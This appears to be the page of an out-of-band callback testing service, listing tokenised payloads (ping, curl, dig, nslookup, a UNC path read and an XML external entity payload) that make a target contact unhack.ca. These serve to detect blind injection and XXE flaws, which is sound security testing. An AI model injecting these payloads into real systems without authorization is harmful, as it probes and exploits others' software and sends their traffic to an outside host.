$ ping -c1 -p 003c4c35ed38c2df221191df16ba8f00 unhack.ca
$ curl http://unhack.ca/p/3c4c35ed38c2df221191df16ba8f
$ dig 3c4c35ed38c2df221191df16ba8f @unhack.ca
$ dig 3c4c35ed38c2df221191df16ba8f.ns.unhack.ca
C:\> nslookup 3c4c35ed38c2df221191df16ba8f unhack.ca
C:\> type \\unhack.ca\3c4c35ed38c2df221191df16ba8f\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/3c4c35ed38c2df221191df16ba8f">]>
<foo>&xxe;</foo>
Waiting for ping...